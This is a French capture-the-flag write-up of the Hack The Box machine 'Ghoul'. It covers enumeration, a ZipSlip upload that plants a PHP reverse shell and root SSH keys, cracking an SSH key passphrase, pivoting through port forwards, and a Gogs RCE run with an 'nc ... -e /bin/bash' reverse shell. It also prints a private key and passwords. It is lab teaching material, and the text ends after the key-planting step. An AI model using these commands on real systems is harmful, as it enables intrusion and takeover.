HACK THE BOX – WRITE UP GHOUL

HACK THE BOX – WRITE UP GHOUL

Commençons par un habituel NMAP pour découvrir les services disponibles sur la machine :

root@htb:~/htb/write-up/ghoul# nmap -sC -sV -A 10.10.10.101
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-04 09:11 CDT
Nmap scan report for 10.10.10.101
Host is up (0.077s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c1:1c:4b:0c:c6:de:ae:99:49:15:9e:f9:bc:80:d2:3f (RSA)
|_  256 a8:21:59:7d:4c:e7:97:ad:78:51:da:e5:f0:f9:ab:7d (ECDSA)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Aogiri Tree
2222/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 63:59:8b:4f:8d:0a:e1:15:44:14:57:27:e7:af:fb:3b (RSA)
|   256 8c:8b:a0:a8:85:10:3d:27:07:51:29:ad:9b:ec:57:e3 (ECDSA)
|_  256 9a:f5:31:4b:80:11:89:26:59:61:95:ff:5c:68:bc:a7 (ED25519)
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Aogiri
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88 - Error report
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=10/4%OT=22%CT=1%CU=42360%PV=Y%DS=2%DC=T%G=Y%TM=5D97533
OS:7%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=2%ISR=10D%TI=Z%CI=I%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=3F%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=3F%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=3F%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3306/tcp)
HOP RTT      ADDRESS
1   82.21 ms 10.10.14.1
2   83.61 ms 10.10.10.101

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.09 seconds

Nous avons donc le port 22, 2222, 80 et 8080 d’ouvert. Rendons-nous sur le serveur HTTP disponible sur le port 80 :

Rien de particulier à ce niveau. Réalisons une énumération du site pour voir si nous trouvons des fichiers ou dossiers cachés.

root@htb:~/htb/write-up/ghoul# gobuster dir -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -u http://10.10.10.101 -t 40
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.101
[+] Threads:        40
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Expanded:       true
[+] Timeout:        10s
===============================================================
2019/10/04 09:17:47 Starting gobuster
===============================================================
http://10.10.10.101/uploads (Status: 301)
http://10.10.10.101/users (Status: 301)
http://10.10.10.101/archives (Status: 301)
http://10.10.10.101/images (Status: 301)
http://10.10.10.101/css (Status: 301)
http://10.10.10.101/js (Status: 301)
http://10.10.10.101/secret.php (Status: 200)

Nous trouvons deux choses qui peuvent être intéressantes. Le fichier secret.php et le dossier users.

Sur la page secret.php nous trouvons une conversation entre différents membres. Nous pouvons aussi apercevoir un hash md5. Certains membres parlent d’une RCE possible.

Connectons nous maintenant sur le port 8080.

Une basic authentification est configurée. Essayons un login et mot de passe tout simple : admin:admin

Nous pouvons ainsi rentrer dans la zone protégée.

Nous remarquons que nous pouvons uploader soit des images soit des fichiers ZIP. Après quelques tests d’uploads de fichier nous constatons que nous n’avons pas de moyen pour savoir où les fichiers sont uploadés pour y accéder.

Par contre, comme nous pouvons envoyer un fichier ZIP nous pouvons tenter une attaque de type ZIPSLIP. Téléchargeons le script evilarc.py et créons un fichier zip avec un fichier PHP contenant un reverseshell.

python evilarc.py --os linux --path var/www/html arnotic.php

Lancons un listener sur notre machine, envoyons le fichier ZIP et appelons notre reverse shell avec http://10.10.10.101/arnotic.php

root@htb:~/htb/write-up/ghoul# nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.101] 51258
bash: cannot set terminal process group (9): Inappropriate ioctl for device
bash: no job control in this shell
www-data@Aogiri:/var/www/html$ ls -alh
ls -alh
total 352K
drwxr-xr-x 1 root root 4.0K Oct  4 14:26 .
drwxr-xr-x 1 root root 4.0K Jan 22  2019 ..
drwxr-xr-x 1 root root 4.0K Dec 13  2018 archives
-rw-r--r-- 1 root root  165 Oct  4 14:26 arnotic.php
-r-xr-xr-x 1 root root  11K Dec 13  2018 blog.html
-r-xr-xr-x 1 root root 8.8K Dec 13  2018 contact.html
dr-xr-xr-x 1 root root 4.0K Dec 13  2018 css
-r-xr-xr-x 1 root root  38K Dec 13  2018 eto.jpg
dr-xr-xr-x 1 root root 4.0K Dec 13  2018 images
-r-xr-xr-x 1 root root  11K Dec 13  2018 index.html
dr-xr-xr-x 1 root root 4.0K Dec 13  2018 js
-r-xr-xr-x 1 root root  14K Dec 13  2018 kaneki-ken.jpg
-rw-r--r-- 1 root root  239 Dec 13  2018 kaneki.html
-r-xr-xr-x 1 root root 111K Dec 13  2018 kaneki.jpg
-r-xr-xr-x 1 root root  134 Dec 13  2018 kaneki.php
-r-xr-xr-x 1 root root  14K Dec 13  2018 ken.jpg
dr-xr-xr-x 1 root root 4.0K Dec 13  2018 less
-r-xr-xr-x 1 root root  19K Dec 13  2018 noro.jpg
-r-xr-xr-x 1 root root 4.8K Dec 13  2018 secret.php
-r-xr-xr-x 1 root root  18K Dec 13  2018 tatara.jpg
dr-xr-xr-x 1 root root 4.0K Dec 13  2018 uploads
dr-xr-xr-x 1 root root 4.0K Dec 13  2018 users

Nous constatons que notre fichier arnotic.php est alors créé avec l’utilisateur « root ». Nous allons essayer de créer un fichier ZIPSLIP avec un fichier authorized_ssh à placer dans le dossier .ssh de root.

Nous aurions aussi pu modifier le fichier SUDOERS et autoriser le compte www-data.

Générons dabord une clé SSH :

root@htb:~/htb/write-up/ghoul# ssh-keygen -t rsa -b 4096 -C "test@test.test"
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /root/htb/write-up/ghoul/id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/htb/write-up/ghoul/id_rsa.
Your public key has been saved in /root/htb/write-up/ghoul/id_rsa.pub.
The key fingerprint is:
SHA256:3IZLQ+Su49M1vtTSLO44D6z+IVgHFqR2ntDJY0/g6kw test@test.test
The key's randomart image is:
+---[RSA 4096]----+
|     .+ .        |
|     = *         |
|    + @ +        |
|   . B X o       |
|    E + S o      |
|   + o = +o+     |
|    + +.=o+.+    |
|     ..+o*.o     |
|     .+oo+=.     |
+----[SHA256]-----+
root@htb:~/htb/write-up/ghoul# 

Créons notre fichier ZIP et envoyons le sur le serveur.

Essayons de nous connecter en SSH sur la machine :

root@htb:~/htb/write-up/ghoul# ssh -i id_rsa root@10.10.10.101
Last login: Sun Dec 30 15:38:10 2018 from 192.168.1.5
root@Aogiri:~# 

YOUPI ! Nous sommes root sur la machine. Pas de fichier root.txt mais dans les utilisateurs nous trouvons le fichier user.txt dans le dossier kaneki

root@Aogiri:/home/kaneki# ls -alh
total 92K
drwx------ 1 kaneki kaneki 4.0K Dec 13  2018 .
drwxr-xr-x 1 root   root   4.0K Dec 13  2018 ..
lrwxrwxrwx 1 root   root      9 Dec 29  2018 .bash_history -> /dev/null
-rwx------ 1 kaneki kaneki  220 Dec 13  2018 .bash_logout
-rwx------ 1 kaneki kaneki 3.7K Dec 13  2018 .bashrc
-rwx------ 1 kaneki kaneki  807 Dec 13  2018 .profile
drwx------ 1 kaneki kaneki 4.0K Dec 13  2018 .ssh
-rw------- 1 kaneki kaneki 1.8K Dec 13  2018 .viminfo
-rw------- 1 kaneki kaneki  148 Dec 13  2018 note.txt
-rwx------ 1 kaneki kaneki  136 Dec 13  2018 notes
-rwx------ 1 kaneki kaneki  39K Dec 13  2018 secret.jpg
-rwx------ 1 kaneki kaneki   33 Dec 13  2018 user.txt
root@Aogiri:/home/kaneki# 

Lançons un serveur web sur notre machine (python -m SimpleHTTPServer) pour pouvoir envoyer des fichiers. Commençons par linenum.

root@Aogiri:/tmp# wget http://10.10.14.23:8000/linenum.sh
--2019-10-04 14:41:38--  http://10.10.14.23:8000/linenum.sh
Connecting to 10.10.14.23:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45656 (45K) [text/x-sh]
Saving to: ‘linenum.sh’

linenum.sh                          100%[================================================================>]  44.59K   171KB/s    in 0.3s    

2019-10-04 14:41:38 (171 KB/s) - ‘linenum.sh’ saved [45656/45656]

root@Aogiri:/tmp# chmod +x linenum.sh 
root@Aogiri:/tmp# sh linenum.sh

Rien de particulier si ce n’est la fin du script qui nous indique que nous tournons dans un container.

[...]
-e [+] Looks like we're in a Docker container:
12:devices:/docker/b40e2207e3f430e346b59d3b45d6b90707c9a12e4171958f3b3b5e97eff6e604
11:cpuset:/docker/b40e2207e3f430e346b59d3b45d6b90707c9a12e4171958f3b3b5e97eff6e604
10:pids:/docker/b40e2207e3f430e346b59d3b45d6b90707c9a12e4171958f3b3b5e97eff6e604
9:net_cls,net_prio:/docker/b40e2207e3f430e346b59d
[...]

Faisons un petit ifconfig

root@Aogiri:/tmp# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.20.0.10  netmask 255.255.0.0  broadcast 172.20.255.255
        ether 02:42:ac:14:00:0a  txqueuelen 0  (Ethernet)
        RX packets 59565  bytes 8508289 (8.5 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 51312  bytes 30866524 (30.8 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 389  bytes 30812 (30.8 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 389  bytes 30812 (30.8 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Nous remarquons l’IP 172.20.0.10. Téléchargeons nmap sur la machine et énumérons le réseau.

root@Aogiri:/tmp# wget http://10.10.14.23:8000/nmap
--2019-10-04 14:44:15--  http://10.10.14.23:8000/nmap
Connecting to 10.10.14.23:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4522584 (4.3M) [application/octet-stream]
Saving to: ‘nmap’

nmap                                100%[================================================================>]   4.31M   134KB/s    in 28s     

2019-10-04 14:44:42 (160 KB/s) - ‘nmap’ saved [4522584/4522584]

root@Aogiri:/tmp# chmod +x nmap
root@Aogiri:/tmp# ./nmap 172.20.0.0/24

Starting Nmap 7.11 ( https://nmap.org ) at 2019-10-04 14:45 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for Aogiri (172.20.0.1)
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.0000090s latency).
Not shown: 1204 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-alt
MAC Address: 02:42:D0:26:ED:01 (Unknown)

Nmap scan report for 64978af526b2.Aogiri (172.20.0.150)
Host is up (0.000013s latency).
Not shown: 1206 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
MAC Address: 02:42:AC:14:00:96 (Unknown)

Nmap scan report for Aogiri (172.20.0.10)
Host is up (0.0000060s latency).
Not shown: 1204 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-alt

Nmap done: 256 IP addresses (3 hosts up) scanned in 2.21 seconds

Nous découvrons là une machine 172.20.0.150 avec un service SSH qui tourne.

Nous allons donc fowarder le traffic du port 22 sur notre machine. Pour se faire nous allons utiliser la commande SSH suivante :

root@htb:~/htb/write-up/ghoul# ssh -L 127.0.0.1:2222:172.20.0.150:22 -i id_rsa root@10.10.10.101

Maintenant si nous nous connectons sur le port 2222 sur notre machine le traffic ira sur la machine 172.20.0.155 sur le port 22. Nous devons trouver un moyen de nous y connecter. L’utilisation de mot de passe n’est pas possible. Essayons de regarder des clés SSH présent dans le premier container que nous avons eu.

Dons le dossier de l’utilisateur kaneki nous avons un dossier .ssh possédant des clés SSH.

root@Aogiri:/home/kaneki/.ssh# ls -alh
total 28K
drwx------ 1 kaneki kaneki 4.0K Dec 13  2018 .
drwx------ 1 kaneki kaneki 4.0K Dec 13  2018 ..
-rwx------ 1 kaneki kaneki  797 Dec 13  2018 authorized_keys
-rwx------ 1 kaneki kaneki 1.8K Dec 13  2018 id_rsa
-rwx------ 1 kaneki kaneki  395 Dec 13  2018 id_rsa.pub

root@Aogiri:/home/kaneki/.ssh# cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsiPbWC8feNW7o6emQUk12tFOcucqoS/nnKN/LM3hCtPN8r4by8Ml1IR5DctjeurAmlJtXcn8MqlHCRbR6hZKydDwDzH3mb6M/gCYm4fD9FppbOdG4xMVGODbTTPV/h2Lh3ITRm+xNHYDmWG84rQe++gJImKoREkzsUNqSvQv4rO1RlO6W3rnz1ySPAjZF5sloJ8Rmnk+MK4skfj00Gb2mM0/RNmLC/rhwoUC+Wh0KPkuErg4YlqD8IB7L3N/UaaPjSPrs2EDeTGTTFI9GdcT6LIaS65CkcexWlboQu3DDOM5lfHghHHbGOWX+bh8VHU9JjvfC8hDN74IvBsy120N5 kaneki@Aogiri
root@Aogiri:/home/kaneki/.ssh# cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,9E9E4E88793BC9DB54A767FC0216491F

wqcYgOwX3V511WRuXWuRheYyzo5DelW+/XsBtXoL8/Ow7/Tj4EC4dKCfas39HQW8
MNbTv51gYxQ/Vc3W1jEYSyxTCYAu600naUhX3+En7P8kje2s0I4VEZX0MJqgB/pv
J9nPBtbXcqV6/v6Vkbc5kGtMiRVMYzS9KWiCOafveFQCr1orYmnNINsZou4AWrfB
Ofr63sUVD8V1Rabnoltbo+pePXnQ6HqjpO1b2qCyUQBxDxwSFT5a+j5YvMYV3JXK
HOo4D0fcMoBVT46pXga6wZtiB4XgeM/iB/xg6YfdfMPuDBJ6+fqZMjlm+GvEexkl
EEtJAqoSG/yCOjedByVqmfKye9DaIY9Um2WkWcX1bVRlYktYtpb755aDmVVoQjb5
CmW4yuLapjqUrGEFY+ghLLRdZvSBPZ18PbUgVMqpdmrfnEy48d22IGPJ6ZO2L4qR
FzLjkQkjFRgkrBJ9bSzYS/NYZ8QGQh/wk3BHaupjLxD2j1Ta7PXwCjh4zBZNPO/e
9VN9c+b/zwYSyyeKcJ8dhFEH26j5g93EnWTkdLEMyw6tRbdzhQbNo02WWDTvWPJv
+6A+6xA6/+NxacHXfyfxQ+l8CsmpZ5CgKjKHfFeDYZHyoPhcthKkL3Go3rqZ1HOb
MimhTR3wOUwoV/XaVcCvW+5LwPh1ljdnHCjaY2VzKns4/X+2dZtOsDz5aCovN7mM
eHsRuIEVKtZ2EijKfYZGtDaDwTd/1YTDooGdDDdDipr8bTDvD14r07Yk/xrfjEUp
V9+v3PzmD1trqIlFw+7D8ogFsXJ/P+raVFWaihQWEeqOnGXEhHQ0afgcVt9w62tV
1YeVA0RwHu4S1IObji9RP1DfAMid0pCSnvAoFd/EArnAtwgPFOLqvPZj5j+LjFPL
sOHUW+N+cY24HpH1UVTEWAkgkiGz89/bF98c1kpoLEkS2sjU+jVONTBlLeRmqcDJ
YnCcPXrkT6oC/wctYlM141hrctWRyjY+f0IwREDCv8TM1aAAY3vaZUdMfy71Q3DE
PO4S5ivuruwGeCQmGhEmWBSm0PwpGd0pNbHv+zs0TH+2lmAn8O3R2UrcCu0TxhmH
oW0mQbl+2u+xVB5ijjqtm0CFLsXiX17FdCbMp1huCMTx9TuY6GMeSsN6X7exTIcx
DEvpUHREXgtVqBdNX1QxIoMIxpK2qlMfPYtGikthba5fjBof0b/8lJvtZuoWrJ9R
L0HWW16fkbjEXSrwdEb5zjntCxJKLWmKgiFfaoJ9/L1yhc12w/EQjpUxGkFdyeMs
7QyGClGpKFU4GQvKMQYei57sNk/ZUPgPWizNfuuU/8qBhKXG9JB2R3GWFTEpxzO8
luTnBEUn8Se3cLNrBQ05LIVk2jRYhUE6IBWFYvhjQUGChZTZjSlxNR55t6olYj2M
JBxtT5E2YDhSk4nB21IlTIurggP9pNm+PtTTt2o0jzOD5uOHko6VzGz4Ukvbo0gZ
/zyr4fR7OhGG0grtKxV1s2PpDt9bkhnMXJ+I8zZVN9INHUsoE5IXtpKKJOCQYFjQ
v+EB7xAmWe1q9xSgLSq6I1fWJrYqjkOd9TpqVPNoyTGWM1ELYXyHah8vZi+0BFzh
-----END RSA PRIVATE KEY-----
root@Aogiri:/home/kaneki/.ssh#
root@Aogiri:/home/kaneki/.ssh# cat authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhK6T0d7TXpXNf2anZ/02E0NRVKuSWVslhHaJjUYtdtBVxCJg+wv1oFGPij9hgefdmFIKbvjElSr+rMrQpfCn6v7GmaP2QOjaoGPPX0EUPn9swnReRgi7xSKvHzru/ESc9AVIQIaeTypLNT/FmNuyr8P+gFLIq6tpS5eUjMHFyd68SW2shb7GWDM73tOAbTUZnBv+z1fAXv7yg2BVl6rkknHSmyV0kQJw5nQUTm4eKq2AIYTMB76EcHc01FZo9vsebBnD0EW4lejtSI/SRC+YCqqY+L9TZ4cunyYKNOuAJnDXncvQI8zpE+c50k3UGIatnS5f2MyNVn1l1bYDFQgYl kaneki_pub@kaneki-pc
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsiPbWC8feNW7o6emQUk12tFOcucqoS/nnKN/LM3hCtPN8r4by8Ml1IR5DctjeurAmlJtXcn8MqlHCRbR6hZKydDwDzH3mb6M/gCYm4fD9FppbOdG4xMVGODbTTPV/h2Lh3ITRm+xNHYDmWG84rQe++gJImKoREkzsUNqSvQv4rO1RlO6W3rnz1ySPAjZF5sloJ8Rmnk+MK4skfj00Gb2mM0/RNmLC/rhwoUC+Wh0KPkuErg4YlqD8IB7L3N/UaaPjSPrs2EDeTGTTFI9GdcT6LIaS65CkcexWlboQu3DDOM5lfHghHHbGOWX+bh8VHU9JjvfC8hDN74IvBsy120N5 kaneki@Aogiri

Nous constatons que la clé privée est protégée par un mot de passe. Nous allons essayer de la casser. Les premières tentatives avec le fichier rockyou ne fonctionnent pas.

Nous allons alors essayer de construire un fichier avec les mots présents sur le site et la page secret.php. Pour ce faire nous allons utiliser l’utilitaire CEWL.

cewl -v -d 8 -m 3 -w wordsinsite.txt http://10.10.10.101/secret.php
john --wordlist=wordsinsite.txt keys-srv/crack.txt

root@htb:~/htb/write-up/ghoul# python /usr/share/john/ssh2john.py kaneki > crack.txt
root@htb:~/htb/write-up/ghoul# john --wordlist=wordsinsite.txt crack.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
ILoveTouka       (kaneki)
1g 0:00:00:00 DONE (2019-10-04 09:59) 100.0g/s 11000p/s 11000c/s 11000C/s work..moment
Session completed

Nous trouvons le mot de passe suivant : ILoveTouka

Connectons nous maintenant sur le container 172.20.0.150 :

root@htb:~/htb/write-up/ghoul# ssh -i kaneki kaneki@localhost -p 2222
Enter passphrase for key ‘kaneki’:
Connection closed by 127.0.0.1 port 2222

L’utilisateur « kaneki » ne fonctionne pas. Mais rappelons nous que dans le fichier authorized_keys de l’utilisateur kaneki, nous avions une clé pour l’utilisateur « kaneki_pub ». Essayons de nouveau :

root@htb:~/htb/write-up/ghoul# ssh -i kaneki kaneki_pub@localhost -p 2222
Enter passphrase for key ‘kaneki’:
Last login: Sun Jan 20 12:43:37 2019 from 172.20.0.10
kaneki_pub@kaneki-pc:~$

Nous voilà connecté sur la machine !

Nous trouvons l’utilisateur kaneki_adm sur la machine et un nouveau sous réseau :

kaneki_pub@kaneki-pc:/tmp$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.20.0.150  netmask 255.255.0.0  broadcast 172.20.255.255
        ether 02:42:ac:14:00:96  txqueuelen 0  (Ethernet)
        RX packets 5460  bytes 4911835 (4.9 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3974  bytes 333279 (333.2 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.18.0.200  netmask 255.255.0.0  broadcast 172.18.255.255
        ether 02:42:ac:12:00:c8  txqueuelen 0  (Ethernet)
        RX packets 254  bytes 44418 (44.4 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 209  bytes 43299 (43.2 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 2420  bytes 121024 (121.0 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2420  bytes 121024 (121.0 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

kaneki_pub@kaneki-pc:/tmp$ ./nmap 172.18.0.0/24

Starting Nmap 7.11 ( https://nmap.org ) at 2019-10-04 15:04 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for Aogiri (172.18.0.1)
Host is up (0.00029s latency).
Not shown: 1204 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-alt

Nmap scan report for cuff_web_1.cuff_default (172.18.0.2)
Host is up (0.00032s latency).
Not shown: 1206 closed ports
PORT   STATE SERVICE
22/tcp open  ssh

Nmap scan report for kaneki-pc (172.18.0.200)
Host is up (0.00034s latency).
Not shown: 1206 closed ports
PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 256 IP addresses (3 hosts up) scanned in 2.82 seconds
kaneki_pub@kaneki-pc:/tmp$ cd /tmp

kaneki_pub@kaneki-pc:/tmp$ ./nmap -p- 172.18.0.2                                                                                             
                                                                                                                                             
Starting Nmap 7.11 ( https://nmap.org ) at 2019-10-04 15:05 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for cuff_web_1.cuff_default (172.18.0.2)
Host is up (0.00013s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  unknown

Après un nmap sur la nouvelle machine découverte 172.18.0.2 nous découvrons le port 3000.

Réalisons un forward de port pour accéder au service.

root@htb:~/htb/write-up/ghoul# ssh -L 127.0.0.1:3000:172.18.0.2:3000 -p 2222 -i kaneki kaneki_pub@127.0.0.1

Nous pouvons accéder au service via le navigateur et nous tombons sur le logiciel GOGS. La version présente souffre de vulnérabilité. RCE et escalation de privilège.

Nous allons utiliser le programme suivant : https://github.com/TheZ3ro/gogsownz

Mais avant tout chose il nous faut un login et mot de passe pour se connecter sur GOGS.

Sur kanaki-pc nous avons un fichier donnant un indice

kaneki_pub@kaneki-pc:~$ cat to-do.txt 
Give AogiriTest user access to Eto for git.
kaneki_pub@kaneki-pc:~$ 

On peut supposer que l’utilisateur est donc AogiriTest. Maintenant il nous faut trouver le mot de passe. Dans le container précédent en fouillant dans le fichier .viminfo de l’utilisateur root nous trouvons la trace de plusieurs fichiers modifiés. Notamment le fichier /usr/share/tomcat7/conf/tomcat-users.xml. Dans ce fichier nous trouvons cette ligne :

<!--<user username="admin" password="test@aogiri123" roles="admin" />

Essayons donc ce mot de passe avec l’utilisateur AogiriTest :

Nous pouvons nous connecter sur la plateforme ! Nous allons donc tenter l’exploitation de faille pour obtenir un shell.

Avant toute chose téléchargeons ncat sur kaneki-pc et lançons un listener.

kaneki_pub@kaneki-pc:/tmp$ wget http://10.10.14.23:8000/ncat
--2019-10-04 15:41:21--  http://10.10.14.23:8000/ncat
Connecting to 10.10.14.23:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2914424 (2.8M) [application/octet-stream]
Saving to: ‘ncat’

ncat                                100%[================================================================>]   2.78M   115KB/s    in 53s     

2019-10-04 15:42:14 (53.7 KB/s) - ‘ncat’ saved [2914424/2914424]

kaneki_pub@kaneki-pc:/tmp$ chmod +x ncat
kaneki_pub@kaneki-pc:/tmp$ ./ncat -lvnp 4444
Ncat: Version 6.49BETA1 ( http://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

Lançons maintenant notre attaque sur GOGS.

root@htb:~/htb/write-up/ghoul/gogsownz# python3 gogsownz.py http://localhost:3000/ -v -C 'AogiriTest:test@aogiri123' -n i_like_gogits --rce 'nc 172.18.0.200 4444 -e /bin/bash' --cleanup
[i] Starting Gogsownz on: http://localhost:3000
[+] Loading Gogs homepage
[i] Gogs Version installed: © 2018 Gogs Version: 0.11.66.0916 
[i] The Server is redirecting on the login page. Probably REQUIRE_SIGNIN_VIEW is enabled so you will need an account.
HELLO
BONJOUR
[+] Performing login
[+] Logged in sucessfully as AogiriTest
[+] Got UserID 2
[+] Repository created sucessfully
[i] Exploiting authenticated PrivEsc...
[+] Uploading admin session as repository file
[+] Uploaded successfully.
[+] Committing the Admin session
[+] Committed sucessfully
[+] Removing Repo evidences
[+] Repo removed sucessfully
[i] Signed in as kaneki, is admin True
[i] Current session cookie: 'd722644d29001337'
[+] Got UserID 1
[+] Repository created sucessfully
[+] Setting Git hooks
[+] Git hooks set sucessfully
[+] Fetching last commit...
[+] Got last commit
[+] Triggering the RCE with a new commit

Nous obtenons bien un shell sous l’utilisateur git :

kaneki_pub@kaneki-pc:/tmp$ ./ncat -lvnp 4444
Ncat: Version 6.49BETA1 ( http://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.18.0.2.
Ncat: Connection from 172.18.0.2:32785.
whoami
git

Il nous faut maintenant trouver un moyen d’obtenir le root sur cette machine. Pour avoir un shell plus confortable, mettons notre clé ssh et réalisons un forward du port 22.

echo -n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDamv4Y5Egx9K9dAdwPZrEWx4IgPM5lbOV20Io+/fPH4ERJRcAXNDQKfrWKzqpfhWCn+DNLJHNuaU+bL+/bifZPa6Gb5ClOHKonT0ygSIDlXu8OnLpcmvBcNIl7JcWKGaYvjkU3ujxhydnb6KkCim8g44I9phtnLVkMNlTcdTRsONRFRvMM8Wf62Dzx5ZWNwcXC66zXa1FCWKZtAhSjD7g7K0bmKBqQCiac4arac9dpH9Vpek9jyHIfYhyt4OCVV5gCbXG/R5FIVLBCeg+bd9m5WuTQRK4Yh/H1fvPRjSEY3sTG10A+BNE9JTgrqRHonnqFfNvsGZErAvDPAUByKCazp6y9XsB4uYJZ05hRvBIlcDlSCQyGIYMr8O4o8ZrksksKq7whgC+pEQXRyHG2sO4yaXpAIOEf7A9jSJdDQermK98tvDcOcPCTEWp/QcSc5k84pyipQDxHrlx5605tVOShxBEzq+262drWpioWmpAngLYjQ3jMctsiq+NXmM3jIp49bluthPfQYQfEFe77fFBQvX1wWDyX8wxshusSLnYJ1VAvzArFDFwPkVuHyX/kJo21RJqmP29vMoGjByvtSqp+YNo9x2teRYZ9SV1GlqlwsGLpVKQAFIJ5p39kqMneFRxhN69Y2LFKtl7Jt8qTm3CjFYRTK6Cawc89+1EruOqsbw== test@test.test > authorized_keys
ls -alh
total 16
drwx------    2 git      git         4.0K Oct  4 15:46 .
drwxr-xr-x    4 git      git         4.0K Oct  4 14:09 ..
-rw-r--r--    1 git      git          739 Oct  4 15:46 authorized_keys
